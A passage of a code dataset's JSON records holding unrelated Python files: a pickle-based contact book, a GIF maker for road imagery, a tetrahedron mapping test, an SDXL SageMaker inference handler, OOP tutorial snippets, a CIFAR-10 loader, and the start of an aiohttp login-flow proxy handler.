+{"seq_id":"8455296966","text":"# Write a program for personal contact book.\n# Menu based interface for creating, updating, searching and removing records.\n# The information need to be stored in comma separated text file.\n\nimport pickle\ncontactDict = {}\nloadedContactDict = {}\ncreateNewContactDict = {}\n\n\ndef menu():\n    print(\"1. Create a new contact\")\n    print(\"2. Update a contact\")\n    print(\"3. Search a contact\")\n    print(\"4. Remove a contact\")\n    number = int(input(\"Enter a number to make a choice: \"))\n\n    if number == 1:\n        createContact()\n    elif number == 2:\n        updateContact()\n    elif number == 3:\n        searchContact()\n    elif number == 4:\n        deleteContact()\n    else:\n        print(\"Wrong number!\")\n\n\ndef saveFile():\n    with open(\"contacts.p\", \"wb\") as f:\n        pickle.dump(contactDict, f)\n\n\ndef loadFile():\n    with open(\"contacts.p\", \"rb\") as f:\n        loadedContactDict = pickle.load(f)\n        return loadedContactDict\n\n\n# It takes me enormous free time to understand and wrote working dictionary. But I'm happy at the end. Not perfect but it works.\ndef createContact():\n    with open(\"contacts.p\", \"rb\") as f:\n        loadedContactDict = pickle.load(f)\n    contactDict = loadedContactDict\n    newName = input(\"Enter a name: \")\n    print(\"Enter data for\", newName)\n\n    createNewContactDict = {\n    newName: {\"address\": \"\", \"birthDay\": \"\", \"phoneNumber\": \"\", \"email\": \"\", \"profession\": \"\", \"interests\": \"\"}}\n    createNewContactDict[\"newName\"] = newName\n    createNewContactDict[newName][\"address\"] = input(\"Enter an address: \")\n    createNewContactDict[newName][\"birthDay\"] = int(input(\"Enter a birth day: \"))\n    createNewContactDict[newName][\"phoneNumber\"] = int(input(\"Enter a phone number: \"))\n    createNewContactDict[newName][\"email\"] = input(\"Enter an email: \")\n    createNewContactDict[newName][\"profession\"] = input(\"Enter a profession: \")\n    createNewContactDict[newName][\"interests\"] = input(\"Enter interests: \")\n    contactDict.update(createNewContactDict)\n\n    with open(\"contacts.p\", \"wb\") as f:\n        pickle.dump(contactDict, f)\n\n\ndef searchContact():\n    contactDict = loadFile()\n    print(\"Look up name.\")\n    name = input(\"Enter name: \")\n    if name in contactDict:\n        print(\"Information for\", name, \" is: \", contactDict[name])\n    else:\n        print(name, \"was not found.\")\n\n\ndef updateContact():\n    with open(\"contacts.p\", \"rb\") as f:\n        loadedContactDict = pickle.load(f)\n    contactDict = loadedContactDict\n    name = input(\"Enter a name: \")\n    print(\"Update all information about\", name)\n\n    createNewContactDict = {\n        name: {\"address\": \"\", \"birthDay\": \"\", \"phoneNumber\": \"\", \"email\": \"\", \"profession\": \"\", \"interests\": \"\"}}\n    createNewContactDict[\"name\"] = name\n    createNewContactDict[name][\"address\"] = input(\"Enter an address: \")\n    createNewContactDict[name][\"birthDay\"] = int(input(\"Enter a birth day: \"))\n    createNewContactDict[name][\"phoneNumber\"] = int(input(\"Enter a phone number: \"))\n    createNewContactDict[name][\"email\"] = input(\"Enter an email: \")\n    createNewContactDict[name][\"profession\"] = input(\"Enter a profession: \")\n    createNewContactDict[name][\"interests\"] = input(\"Enter interests: \")\n    contactDict.update(createNewContactDict)\n\n    with open(\"contacts.p\", \"wb\") as f:\n        pickle.dump(contactDict, f)\n\n\ndef deleteContact():\n    with open(\"contacts.p\", \"rb\") as f:\n        loadedContactDict = pickle.load(f)\n    contactDict = loadedContactDict\n    name = input(\"Enter name to remove the contact: \")\n    if name in contactDict:\n        del contactDict[name]\n        contactDict.update(createNewContactDict)\n        with open(\"contacts.p\", \"wb\") as f:\n            pickle.dump(contactDict, f)\n        print(name, \"was removed\")\n    else:\n        print(name, \"was not found!\")\n\n\nmenu()","repo_name":"Tsaribrodsky/University","sub_path":"ProgrammingBasicsPython/homework Exercise5/ContactBook.py","file_name":"ContactBook.py","file_ext":"py","file_size_in_byte":3782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14345439136","text":"# import Image module\nimport re\n\nfrom PIL import Image\nfrom PIL import ImageDraw\nfrom PIL import ImageFont\nimport os, sys\n\n# import_dir = '../Exports/Images/wb_roads_2020-05-01_2020-07-31_2021-05-01_2021-07-31/png'\n# export_dir = '../Exports/Images/wb_roads_2020-05-01_2020-07-31_2021-05-01_2021-07-31/png_web'\n\nimport_dir = 'D:/road_upgrades/Exports/Images/wb_roads_timeline_2016-05-01_2021-07-31/png'\nexport_dir = 'D:/road_upgrades/Exports/Images/wb_roads_timeline_2016-05-01_2021-07-31/gifs'\nspecific_road_subroad_ids = []\noverwrite = True\n#specific_road_subroad_ids = [(30, 0)]\n\n\nif not os.path.isdir(export_dir):\n    os.mkdir(export_dir)\n\nimages_alphabetic_order = os.listdir(import_dir)\n\nimage_dics = []\nfor f in images_alphabetic_order:\n    m = re.search(r\"^(\\d+)_(\\d+)_(\\d+)_(\\d+)\", f)\n    road_id = int(m.group(1))\n    subroad_id = int(m.group(2))\n    year = int(m.group(3))\n    month = int(m.group(4))\n    insert = {'road_id': road_id, 'subroad_id': subroad_id, 'year': year, 'month': month, 'filename': f}\n    image_dics.append(insert)\n\nimage_dics = sorted(image_dics, key=lambda k: (k['road_id'], k['subroad_id'], k['year'], k['month']))\nimages = [x['filename'] for x in image_dics]\n\n\nimage_collections = {}\n\nfor file in images:\n    m = re.search(r\"^(\\d+)_(\\d+)_\", file)\n    road_id = int(m.group(1))\n    subroad_id = int(m.group(2))\n    tup = (road_id, subroad_id)\n    if tup not in list(image_collections.keys()):\n        image_collections[tup] = [file]\n    else:\n        image_collections[tup].append(file)\n\n\nfor tup in list(image_collections.keys()):\n    if isinstance(specific_road_subroad_ids, list):\n        if len(specific_road_subroad_ids) > 0 and (tup not in specific_road_subroad_ids):\n            continue\n\n    gif_filename = f\"{tup[0]}_{tup[1]}\"\n    if os.path.isfile(f'{export_dir}/{gif_filename}.gif') and overwrite == False:\n        continue\n\n    # Now import the images\n    img_list = []\n    for i in image_collections[tup]:\n        m = re.search(r\"^(\\d+)_(\\d+)_(\\d+)_(\\d+)\", i)\n        road_id = int(m.group(1))\n        subroad_id = int(m.group(2))\n        year = int(m.group(3))\n        month = int(m.group(4))\n\n        fp = f'{import_dir}/{i}'[:-4]\n        img = Image.open(f\"{fp}.png\")\n        img_cropped = img.crop((52, 25, 1852, 845))\n\n\n        # add some text\n        I1 = ImageDraw.Draw(img_cropped)\n\n        # Custom font style and font size\n\n        font_large = ImageFont.truetype('D:/road_upgrades/Fonts/BebasNeue-Regular.ttf', 70)\n        font_small = ImageFont.truetype('D:/road_upgrades/Fonts/BebasNeue-Regular.ttf', 40)\n\n        # Add Text to an image\n        I1.text((20, 20), f\"{year}\", font=font_large, fill=(255, 255, 255))\n        I1.text((20, 760), f\"Road: {road_id}  Subroad: {subroad_id}\", font=font_small, fill=(255, 255, 255))\n\n        # Display edited image\n        #img_cropped.show()\n        # Save the edited image\n        #img.save(\"car2.png\")\n\n        # I downsize the image with an ANTIALIAS filter (gives the highest quality)\n        #img_web = img_cropped.resize((160, 73), Image.ANTIALIAS)  # 220, 100\n\n        img_list.append(img_cropped)\n\n\n    gif_filename = f\"{tup[0]}_{tup[1]}\"\n    img_list[0].save(f'{export_dir}/{gif_filename}.gif',\n                   save_all=True,\n                   append_images=img_list[1:],\n                   duration=1000,\n                   loop=0)\n\n    print(f\"Published: {gif_filename}\")","repo_name":"jeffrey-clark/road_upgrades","sub_path":"python_road_upgrades/Scripts/makeGIFs.py","file_name":"makeGIFs.py","file_ext":"py","file_size_in_byte":3387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40196484487","text":"\"\"\"\nDefines the X maps for Tetrahedrons.\n\"\"\"\n\nfrom newton_generation import *\n\n\nclass LinearTetrahedron(LinearBase):\n    def __init__(self):\n\n        num_vertices = 4\n        ndim = 3\n        name = \"linear_3d\"\n        namespace = \"Tetrahedron\"\n        x_description = \"\"\"\nX(xi) = (1/2)[v1-v0, v2-v0, v3-v0] (xi - [-1,-1,-1]^T) + v0\n\nwhere v*-v0 form the columns of the matrix.\n\"\"\"\n        LinearBase.__init__(self, num_vertices, ndim, name, namespace, x_description)\n\n    def get_x(self, xi):\n        v = self.vertices\n        A = 0.5 * Matrix(\n            [\n                [v[1][0] - v[0][0], v[2][0] - v[0][0], v[3][0] - v[0][0]],\n                [v[1][1] - v[0][1], v[2][1] - v[0][1], v[3][1] - v[0][1]],\n                [v[1][2] - v[0][2], v[2][2] - v[0][2], v[3][2] - v[0][2]],\n            ]\n        )\n\n        s = Matrix(\n            [-1.0, -1.0, -1.0],\n        )\n        x = A @ (xi - s) + v[0]\n\n        return x\n\n\ndef self_test():\n\n    geom_x = LinearTetrahedron()\n\n    vertices_ref = (\n        (-1.0, -1.0, -1.0),\n        (1.0, -1.0, -1.0),\n        (-1.0, 1.0, -1.0),\n        (-1.0, -1.0, 1.0),\n    )\n    geom_ref = LinearGeomEvaluate(geom_x, vertices_ref)\n\n    for vx in vertices_ref:\n        to_test = geom_ref.x(vx)\n        correct = vx\n        assert (\n            np.linalg.norm(\n                np.array(correct).ravel() - np.array(to_test).ravel(), np.inf\n            )\n            < 1.0e-15\n        )\n        to_test = geom_ref.f(vx, vx)\n        assert np.linalg.norm(np.array(to_test).ravel(), np.inf) < 1.0e-15\n\n    vertices_test = (\n        (-3.0, -2.0, 2.0),\n        (1.0, -1.0, 2.0),\n        (2.0, 2.0, 2.5),\n        (-1.0, 4.0, 4.5),\n    )\n    geom_test = LinearGeomEvaluate(geom_x, vertices_test)\n    geom_newton = Newton(geom_x)\n\n    geom_newton_evaluate = NewtonEvaluate(geom_newton, geom_test)\n\n    xi_correct0 = -0.9\n    xi_correct1 = 0.8\n    xi_correct2 = 0.2\n    xi_correct = (xi_correct0, xi_correct1, xi_correct2)\n    phys = geom_test.x(xi_correct)\n    residual, fv = geom_newton_evaluate.residual(xi_correct, phys)\n    assert residual < 1.0e-15\n\n    xi = [0.0, 0.0, 0.0]\n    for stepx in range(5):\n        residual, fv = geom_newton_evaluate.residual(xi, phys)\n        xin = geom_newton_evaluate.step(xi, phys, fv)\n        xi[0] = xin[0]\n        xi[1] = xin[1]\n        xi[2] = xin[2]\n\n    assert abs(xi[0] - xi_correct[0]) < 1.0e-14\n    assert abs(xi[1] - xi_correct[1]) < 1.0e-14\n\n    vertices_test = (\n        (-0.2, -0.8, -0.6),\n        (-2.20179e-12, -0.8, -0.6),\n        (0.00913424, -0.730923, -0.420212),\n        (-0.1, -0.9, -0.54),\n    )\n    geom_test = LinearGeomEvaluate(geom_x, vertices_test)\n    geom_newton = Newton(geom_x)\n\n    geom_newton_evaluate = NewtonEvaluate(geom_newton, geom_test)\n\n    for vi, vx in enumerate(vertices_ref):\n        to_test = geom_test.x(vx)\n        correct = vertices_test[vi]\n        assert (\n            np.linalg.norm(\n                np.array(correct).ravel() - np.array(to_test).ravel(), np.inf\n            )\n            < 1.0e-15\n        )\n        to_test = geom_test.f(vx, correct)\n        assert np.linalg.norm(np.array(to_test).ravel(), np.inf) < 1.0e-15\n\n    xi_correct0 = -0.6\n    xi_correct1 = -0.5\n    xi_correct2 = -0.2\n\n    xi_correct = (xi_correct0, xi_correct1, xi_correct2)\n    phys = geom_test.x(xi_correct)\n    residual, fv = geom_newton_evaluate.residual(xi_correct, phys)\n    assert residual < 1.0e-15\n\n    phys_nektar = (-0.0677164398704403, -0.8227307060000001, -0.5310530700000000)\n\n    assert abs(phys_nektar[0] - phys[0]) < 1.0e-7\n    assert abs(phys_nektar[1] - phys[1]) < 1.0e-7\n    assert abs(phys_nektar[2] - phys[2]) < 1.0e-7\n\n    xi = [0.0, 0.0, 0.0]\n    for stepx in range(5):\n        residual, fv = geom_newton_evaluate.residual(xi, phys)\n        xin = geom_newton_evaluate.step(xi, phys, fv)\n        xi[0] = xin[0]\n        xi[1] = xin[1]\n        xi[2] = xin[2]\n\n    assert abs(xi[0] - xi_correct[0]) < 1.0e-14\n    assert abs(xi[1] - xi_correct[1]) < 1.0e-14\n    assert abs(xi[2] - xi_correct[2]) < 1.0e-14\n\n\ndef get_geom_type():\n    self_test()\n    return LinearTetrahedron\n\n\nif __name__ == \"__main__\":\n    self_test()\n","repo_name":"ExCALIBUR-NEPTUNE/NESO","sub_path":"python/deformed_mappings/tetrahedron.py","file_name":"tetrahedron.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"41428084755","text":"import base64\nfrom io import BytesIO\nfrom einops import rearrange\nimport json\nfrom PIL import Image\nfrom pytorch_lightning import seed_everything\nimport numpy as np\nfrom sagemaker_inference.errors import BaseInferenceToolkitError\nimport sgm\nfrom sgm.inference.api import (\n    ModelArchitecture,\n    SamplingParams,\n    SamplingPipeline,\n    Sampler,\n)\nfrom sgm.inference.helpers import get_input_image_tensor, embed_watermark\nimport os\n\n\ndef model_fn(model_dir, context=None):\n    # Enable the refiner by default\n    disable_refiner = os.environ.get(\"SDXL_DISABLE_REFINER\", \"false\").lower() == \"true\"\n\n    sgm_path = os.path.dirname(sgm.__file__)\n    config_path = os.path.join(sgm_path, \"configs/inference\")\n    base_pipeline = SamplingPipeline(\n        ModelArchitecture.SDXL_V1_BASE, model_path=model_dir, config_path=config_path\n    )\n    if disable_refiner:\n        print(\"Refiner model disabled by SDXL_DISABLE_REFINER environment variable\")\n        refiner_pipeline = None\n    else:\n        refiner_pipeline = SamplingPipeline(\n            ModelArchitecture.SDXL_V1_REFINER,\n            model_path=model_dir,\n            config_path=config_path,\n        )\n\n    return {\"base\": base_pipeline, \"refiner\": refiner_pipeline}\n\n\ndef input_fn(request_body, request_content_type):\n    if request_content_type == \"application/json\":\n        model_input = json.loads(request_body)\n        if not \"text_prompts\" in model_input:\n            raise BaseInferenceToolkitError(400, \"Invalid Request\", \"text_prompts missing\")\n        return model_input\n    else:\n        raise BaseInferenceToolkitError(\n            400, \"Invalid Request\", \"Content-type must be application/json\"\n        )\n\n\ndef predict_fn(data, model, context=None):\n    # Only a single positive and optionally a single negative prompt are supported by this example.\n    prompts = []\n    negative_prompts = []\n    if \"text_prompts\" in data:\n        for text_prompt in data[\"text_prompts\"]:\n            if \"text\" not in text_prompt:\n                raise BaseInferenceToolkitError(\n                    400, \"Invalid Request\", \"text missing from text_prompt\"\n                )\n            if \"weight\" not in text_prompt:\n                text_prompt[\"weight\"] = 1.0\n            if text_prompt[\"weight\"] < 0:\n                negative_prompts.append(text_prompt[\"text\"])\n            else:\n                prompts.append(text_prompt[\"text\"])\n\n    if len(prompts) != 1:\n        raise BaseInferenceToolkitError(\n            400,\n            \"Invalid Request\",\n            \"One prompt with positive or default weight must be supplied\",\n        )\n    if len(negative_prompts) > 1:\n        raise BaseInferenceToolkitError(\n            400, \"Invalid Request\", \"Only one negative weighted prompt can be supplied\"\n        )\n\n    seed = 0\n    height = 1024\n    width = 1024\n    sampler_name = \"DPMPP2MSampler\"\n    cfg_scale = 7.0\n    steps = 50\n    use_pipeline = model[\"refiner\"] is not None\n    init_image = None\n    image_strength = 0.35\n\n    if \"height\" in data:\n        height = data[\"height\"]\n    if \"width\" in data:\n        width = data[\"width\"]\n    if \"sampler\" in data:\n        sampler_name = data[\"sampler\"]\n    if \"cfg_scale\" in data:\n        cfg_scale = data[\"cfg_scale\"]\n    if \"steps\" in data:\n        steps = data[\"steps\"]\n    if \"seed\" in data:\n        seed = data[\"seed\"]\n        seed_everything(seed)\n    if \"use_pipeline\" in data:\n        use_pipeline = data[\"use_pipeline\"]\n    if \"init_image\" in data:\n        if \"image_strength\" in data:\n            image_strength = data[\"image_strength\"]\n        try:\n            init_image_bytes = BytesIO(base64.b64decode(data[\"init_image\"]))\n            init_image_bytes.seek(0)\n            if init_image_bytes is not None:\n                init_image = get_input_image_tensor(Image.open(init_image_bytes))\n        except Exception as e:\n            raise BaseInferenceToolkitError(400, \"Invalid Request\", \"Unable to decode init_image\")\n\n    if model[\"refiner\"] is None and use_pipeline:\n        raise BaseInferenceToolkitError(400, \"Invalid Request\", \"Pipeline is not available\")\n\n    try:\n        if init_image is not None:\n            img_height, img_width = init_image.shape[2], init_image.shape[3]\n            output = model[\"base\"].image_to_image(\n                params=SamplingParams(\n                    width=img_width,\n                    height=img_height,\n                    steps=steps,\n                    sampler=Sampler(sampler_name),\n                    scale=cfg_scale,\n                    img2img_strength=image_strength,\n                ),\n                image=init_image,\n                prompt=prompts[0],\n                negative_prompt=negative_prompts[0] if len(negative_prompts) > 0 else \"\",\n                return_latents=use_pipeline,\n            )\n        else:\n            output = model[\"base\"].text_to_image(\n                params=SamplingParams(\n                    width=width,\n                    height=height,\n                    steps=steps,\n                    sampler=Sampler(sampler_name),\n                    scale=cfg_scale,\n                ),\n                prompt=prompts[0],\n                negative_prompt=negative_prompts[0] if len(negative_prompts) > 0 else \"\",\n                return_latents=use_pipeline,\n            )\n\n        if isinstance(output, (tuple, list)):\n            samples, samples_z = output\n        else:\n            samples = output\n            samples_z = None\n\n        if use_pipeline and samples_z is not None:\n            print(\"Running Refinement Stage\")\n            samples = model[\"refiner\"].refiner(\n                params=SamplingParams(\n                    steps=50, sampler=Sampler.EULER_EDM, scale=5.0, img2img_strength=0.3\n                ),\n                image=samples_z,\n                prompt=prompts[0],\n                negative_prompt=negative_prompts[0] if len(negative_prompts) > 0 else \"\",\n            )\n\n        samples = embed_watermark(samples)\n        images = []\n        for sample in samples:\n            sample = 255.0 * rearrange(sample.cpu().numpy(), \"c h w -> h w c\")\n            image_bytes = BytesIO()\n            Image.fromarray(sample.astype(np.uint8)).save(image_bytes, format=\"PNG\")\n            image_bytes.seek(0)\n            images.append(image_bytes.read())\n\n        return images\n\n    except ValueError as e:\n        raise BaseInferenceToolkitError(400, \"Invalid Request\", str(e))\n\n\ndef output_fn(prediction, accept):\n    # This only returns a single image since that's all the example code supports\n    if accept != \"image/png\":\n        raise BaseInferenceToolkitError(400, \"Invalid Request\", \"Accept header must be image/png\")\n    return prediction[0], accept\n","repo_name":"TheCodeofMonteCristo/deep-learning-containers","sub_path":"test/sagemaker_tests/pytorch/inference/resources/stabilityai/sdxl-v1/model_gpu/code/sdxl_inference.py","file_name":"sdxl_inference.py","file_ext":"py","file_size_in_byte":6680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"5559880304","text":"# A class is a blueprint or template for creating objects\r\n\r\nclass Person:\r\n    name = \"Rocky\"\r\n    age = 22\r\n    ocuupation = \"Software Engineer\"\r\n    marital_status = 'Single'\r\n\r\n    # *Methods are functions that are defined inside a class. \r\n\r\n    # *name, age, occupation thoes are attribute and Rocky, 22, Software Engineer are values\r\n\r\n\r\n    def basic_info(self):\r\n        print(f'{self.name} is a {self.ocuupation}\\n')\r\n\r\n        # * The self parameter is a reference to the current instance of the class, and is used to access variables that belongs to the class.\r\n\r\n\r\n\r\n    def family_info(self):\r\n        print(f'{newPerson.name} is a {newPerson.marital_status} person')\r\n\r\n# *newPerson object has the name attribute and the basic_info method.\r\n\r\nnewPerson = Person()\r\nnewPerson2 = Person()\r\n\r\n\r\n# Could be change\r\nnewPerson.name = 'Mr. Rocky'\r\nnewPerson.age = 22.5\r\n# print(newPerson.name, newPerson.age)\r\n\r\nnewPerson2.name = 'Abdul Ali'\r\nnewPerson2.age = 33\r\n\r\nnewPerson.basic_info()\r\nnewPerson.family_info()\r\n\r\nnewPerson2.basic_info()\r\nnewPerson2.family_info()\r\n\r\n\r\nprint('-------New Program-------')\r\n\r\nclass Person:\r\n  name = \"Harry\"\r\n  occupation = \"Software Developer\"\r\n  networth = 10\r\n  def info(self):\r\n    print(f\"{self.name} is a {self.occupation}\")\r\n\r\n\r\na = Person()\r\nb = Person()\r\nc = Person()\r\n\r\na.name = \"Shubham\"\r\na.occupation = \"Accountant\"\r\n\r\nb.name = \"Nitika\"\r\nb.occupation = \"HR\"\r\n\r\n# print(a.name, a.occupation)\r\na.info()\r\nb.info()\r\nc.info()\r\n\r\n\r\nprint('-------New Program From Programiz-------')\r\n\r\n#define a class\r\nclass Bike:\r\n   name =''\r\n   gear = 0\r\n\r\n#create object of class\r\nbike1 = Bike()\r\n\r\n#access attributes and assign new value\r\nbike1.gear = 21\r\nbike1.name = \"R15\"\r\n\r\nprint(f'Name: {bike1.name}\\nGear: {bike1.gear}')\r\n\r\n# * Create Multiple Objects of Python Class\r\n\r\n\r\n# define a class\r\nclass Employee:\r\n    # define an attribute\r\n    employee_id = 0\r\n\r\n# create two objects of the Employee class\r\nemployee1 = Employee()\r\nemployee2 = Employee()\r\n\r\n# access attribute using employee1\r\nemployee1.employee_id = 2001\r\nprint(f'Employee ID: {employee1.employee_id}')\r\n\r\n# access attributes using employee2\r\nemployee2.employeeID = 1002\r\nprint(f\"Employee ID: {employee2.employeeID}\")\r\n\r\n","repo_name":"rockyhaque/python-oop","sub_path":"class_object.py","file_name":"class_object.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30538171302","text":"import os\nimport pdb\nimport numpy as np\nimport torchvision\nimport torch\nimport torchvision.transforms as transforms\nfrom sklearn.model_selection import train_test_split\nfrom dl4d.images import ImageDataset\n\n\nclass Cifar10(ImageDataset):\n    base_folder = 'cifar10'\n    seed = 1337\n    val_size = 1000\n\n    def __init__(self, root, part='train', task='classification',\n                 features=False,\n                 val_size=None,\n                 test_size=None,\n                 transform=None, target_transform=None, download=True,\n                 normalize=False, standardize=False,\n                 scale_overall=True, scale_channelwise=True):\n\n        self.root = root\n        if download:\n            self.download()\n\n        super(Cifar10, self).__init__(root, transform=transform,\n                                      target_transform=target_transform)\n\n        self.x, self.y = self.load_dataset(part=part)\n\n    def __len__(self):\n        return len(self.x)\n\n    def download(self):\n        final_path = os.path.join(self.root, self.base_folder)\n        if not os.path.exists(final_path):\n            os.mkdir(final_path)\n        else:\n            return\n\n        np.random.seed(self.seed)\n\n        transform = transforms.Compose([transforms.ToTensor()])\n        trainset = torchvision.datasets.CIFAR10(root=final_path,\n                                                train=True,\n                                                download=True,\n                                                transform=transform)\n        testset = torchvision.datasets.CIFAR10(root=final_path,\n                                               train=False,\n                                               download=True,\n                                               transform=transform)\n\n        X_train = trainset.data.swapaxes(2, 3).swapaxes(1, 2)\n        Y_train = trainset.targets\n        X_test = testset.data.swapaxes(2, 3).swapaxes(1, 2)\n        Y_test = testset.targets\n\n        X_test, X_val, Y_test, Y_val = train_test_split(X_test, Y_test,\n                                                        test_size=self.val_size,\n                                                        random_state=self.seed,\n                                                        stratify=Y_test)\n\n        np.save(file=os.path.join(final_path, 'X_train.npy'), arr=X_train)\n        np.save(file=os.path.join(final_path, 'X_test.npy'), arr=X_test)\n        np.save(file=os.path.join(final_path, 'X_val.npy'), arr=X_val)\n        np.save(file=os.path.join(final_path, 'Y_train.npy'), arr=Y_train)\n        np.save(file=os.path.join(final_path, 'Y_test.npy'), arr=Y_test)\n        np.save(file=os.path.join(final_path, 'Y_val.npy'), arr=Y_val)\n\n        os.system('rm {}/cifar-10-python.tar.gz; rm -rf {}/cifar-10-batches-py'.format(final_path, final_path))","repo_name":"Goschjann/ssltsc","sub_path":"dl4d/datasets/cifar10.py","file_name":"cifar10.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"16"}
+{"seq_id":"72623416648","text":"from __future__ import annotations\n\nfrom datetime import datetime\nfrom logging import getLogger\nfrom urllib.parse import urlparse\n\nimport tldextract\nfrom aiohttp.web import RouteTableDef\nfrom aiohttp.web_exceptions import (\n    HTTPBadRequest,\n    HTTPNotFound,\n    HTTPFound,\n    HTTPInternalServerError,\n    HTTPException,\n)\nfrom aiohttp.web_request import Request\nfrom aiohttp.web_response import Response\nfrom aiohttp_session import get_session\nfrom authcaptureproxy import AuthCaptureProxy\nfrom bson import ObjectId\nfrom bson.errors import InvalidId\nfrom httpx import Cookies\nfrom motor.motor_asyncio import AsyncIOMotorCollection\nfrom yarl import URL\n\nfrom .proxy import create_proxy\nfrom ..helpers import truthy_string, LimitedSizeDict, IS_DEBUG\nfrom ..types import Flow, Session\n\nroutes = RouteTableDef()\n\nlogger = getLogger(__name__)\n\n\n@routes.get(\"/flows/{flow_id}\")\nasync def initialize_flow(request: Request) -> Response:\n    aiohttp_session = await get_session(request)\n\n    flow_id: str = request.match_info[\"flow_id\"]  # hex\n\n    try:\n        object_id = ObjectId(flow_id)  # raises if invalid\n    except InvalidId as e:\n        raise HTTPBadRequest(reason=\"Unparseable Flow ID\") from e\n\n    flow: Flow = await request.app[\"db\"][\"flows\"].find_one({\"_id\": object_id})\n\n    if flow is None:\n        raise HTTPNotFound(reason=\"Flow ID not found\")\n\n    redirect_uri: str | None = truthy_string(request.query.get(\"redirect_uri\", \"\"))\n\n    final_redirect_uri: str | None = None\n    if redirect_uri is not None:\n        try:\n            parsed = urlparse(redirect_uri.lower().strip())\n        except ValueError as e:\n            raise HTTPBadRequest(reason=\"Unparseable redirect URI\") from e\n\n        if not URL(redirect_uri).is_absolute():\n            raise HTTPBadRequest(reason=\"Redirect URI must be absolute\")\n        elif parsed.scheme not in (\"http\", \"https\"):\n            raise HTTPBadRequest(reason=\"Redirect URI must be HTTP or HTTPS\")\n        elif parsed.netloc not in flow[\"redirect_uri_domains\"]:\n            # ok, so our redirect URI is not directly on the list\n            # we need to check if any wildcard is matched\n\n            redirect_uri_result = tldextract.extract(parsed.netloc)\n            allowed: bool = False\n\n            if \"*\" in flow[\"redirect_uri_domains\"]:\n                # allow global wildcard\n                allowed = True\n            else:\n                for domain in flow[\"redirect_uri_domains\"]:\n                    try:\n                        domain_result = tldextract.extract(domain)\n                        if (\n                            redirect_uri_result.registered_domain\n                            == domain_result.registered_domain\n                            and (\n                                redirect_uri_result.subdomain.endswith(\n                                    domain_result.subdomain\n                                )\n                                or domain_result.subdomain\n                                == \"*\"  # allow wildcard like *.twitter.com\n                            )\n                        ):\n                            allowed = True\n                    except ValueError:\n                        continue\n\n            if not allowed:\n                raise HTTPBadRequest(reason=\"Redirect URI not allowed per flow rules\")\n            else:\n                final_redirect_uri = parsed.geturl()\n        else:\n            # redirect URI is good as is.\n            final_redirect_uri = parsed.geturl()\n    # redirect_uri is not declared\n    elif \"redirect_code\" in flow and flow[\"redirect_code\"]:\n        # redirect code is set, so we do not need to follow the redirect URI.\n        pass  # lets the final_redirect_uri be none\n    elif not IS_DEBUG:\n        raise HTTPBadRequest(reason=\"Missing redirect URI\")\n\n    new_session = await request.app[\"db\"][\"sessions\"].insert_one(\n        {\n            \"flow_id\": flow[\"_id\"],\n            \"state\": \"pending\",\n            \"auth_data\": None,\n            \"redirect_uri\": final_redirect_uri,\n            \"ip_address\": request.remote,\n            \"created_at\": datetime.utcnow(),\n        }\n    )\n\n    new_session_id = new_session.inserted_id\n\n    path = f\"/flows/{flow_id}/session/{new_session_id}/auth\"\n\n    return HTTPFound(location=path)  # auth time\n\n\nasync def handle_auth(request: Request) -> Response:\n    # this code handles out of domain redirects\n    cdn_scheme: str | None = request.match_info.get(\"scheme\")\n    cdn_domain: str | None = request.match_info.get(\"domain\")\n    cdn_index_url: URL | None = (\n        URL.build(scheme=cdn_scheme, host=cdn_domain)\n        if cdn_scheme is not None and cdn_domain is not None\n        else None\n    )\n\n    aiohttp_session = await get_session(request)\n\n    flow_id: str | None = request.match_info.get(\"flow_id\")  # hex\n\n    if flow_id is None:\n        if \"flow_id\" in aiohttp_session:\n            flow_id = aiohttp_session[\"flow_id\"]\n        else:\n            raise HTTPBadRequest(reason=\"Missing flow ID\")\n\n    try:\n        object_id = ObjectId(flow_id)  # raises if invalid\n    except InvalidId as e:\n        raise HTTPBadRequest(reason=\"Unparseable Flow ID\") from e\n\n    flow: Flow | None = await request.app[\"db\"][\"flows\"].find_one({\"_id\": object_id})\n\n    if flow is None:\n        raise HTTPNotFound(reason=\"Flow ID not found\")\n    else:\n        if aiohttp_session.get(\"flow_id\") != flow_id:\n            aiohttp_session[\"flow_id\"] = flow_id\n\n    session_id: str | None = request.match_info.get(\"session_id\")  # hex\n\n    if session_id is None:\n        if \"session_id\" in aiohttp_session:\n            session_id = aiohttp_session[\"session_id\"]\n        else:\n            raise HTTPBadRequest(reason=\"Missing session ID\")\n\n    try:\n        object_id = ObjectId(session_id)  # raises if invalid\n    except InvalidId as e:\n        raise HTTPBadRequest(reason=\"Unparseable Session ID\") from e\n\n    session: Session | None = await request.app[\"db\"][\"sessions\"].find_one(\n        {\"_id\": object_id}\n    )\n\n    if session is None:\n        raise HTTPNotFound(reason=\"Session ID not found\")\n    else:\n        if aiohttp_session.get(\"session_id\") != session_id:\n            aiohttp_session[\"session_id\"] = session_id\n\n    if session[\"flow_id\"] != flow[\"_id\"]:\n        raise HTTPBadRequest(reason=\"Session ID does not match Flow ID\")\n    elif session[\"state\"] != \"pending\":\n        raise HTTPBadRequest(reason=\"Session already completed\")\n\n    # get AuthCaptureProxy\n    proxies: LimitedSizeDict = request.app[\"auth_capture_proxies\"]\n\n    cookies: Cookies | None = None\n\n    if session_id not in proxies:\n        cookies = Cookies()\n        # this is here because we may need to reuse the session of the proxy to preserve cookies\n        session_collection: AsyncIOMotorCollection = request.app[\"db\"][\"sessions\"]\n        # this is done to prevent the request from being a closure variable in the proxy_factory function\n        # which may take a lot of memory\n        initial_base_url: URL = request.url\n\n        new_proxy = create_proxy(\n            flow,\n            session,\n            initial_base_url,\n            session_collection,\n            cookie_jar=cookies,\n        )\n\n        new_proxy.__initial_base_url = initial_base_url\n\n        proxies[session_id] = new_proxy\n\n    proxy: AuthCaptureProxy = proxies[session_id]\n\n    proxy_url: URL | None = None\n    target_url: URL | None = None\n\n    if cdn_index_url is not 